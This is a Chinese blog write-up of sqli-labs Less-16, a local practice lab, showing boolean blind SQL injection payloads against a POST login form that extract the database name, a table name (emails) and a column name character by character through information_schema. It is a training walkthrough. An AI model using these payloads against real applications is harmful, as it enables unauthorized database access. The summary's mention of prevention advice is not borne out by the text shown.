目 录CONTENT

文章目录

sqli-labs系列——Less-16

CZ
CZ
2023-06-14 / 0 评论 / 0 点赞 / 280 阅读 / 2547 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

这篇文章主要介绍了如何通过Less-16注入漏洞进行盲注实验。实验过程中,首先通过判断数据库名称长度为8,然后利用ASCII码猜解数据库名称为security。接着,通过查询information_schema.tables表找到emails表的名称,再查询information_schema.columns表找到id字段的名称。通过这些步骤,我们成功获取了数据库的名称、表名、列名以及相应的数据,同时也提到了注入漏洞的危害以及如何避免注入漏洞的发生。

前言

这题跟我们第十五关是一样的思路,都是经过post传参的盲注,只是闭合的区别,这关使用的是双引号加单括号进行布尔盲注

前期准备

开启phpstudy,开启apache服务以及mysql服务 打开ASCII表

图片-1686619451321

实验环节

浏览器访问Less-16

http://127.0.0.1/sqli-labs-master/Less-16/

图片-1686732240491

判断库名长度

") or (length(database()))=8 -- xz
#页面正常显示成功登录字样,说明库名长度为8

图片-1686732327185

利用ASCII码猜解当前数据库名称

") or (ascii(substr(database(),1,1)))=115-- xz
#返回正常,说明数据库名称第一位是s
") or (ascii(substr(database(),2,1)))=101-- xz
#返回正常,说明数据库名称第二位是e
......以此类推,答案都是一样的,只是做法有所不同

图片-1686732347128 图片-1686732367642

") or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- xz
#返回正常,说明数据库表名的第一个的第一位是e
.....以此类推说明该表名是emails

图片-1686732417873

判断字段名

")or (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- xz
#返回正常,说明emails表中的列名称第一位是i
......以此类推该字段名为id

图片-1686732440692

0

评论区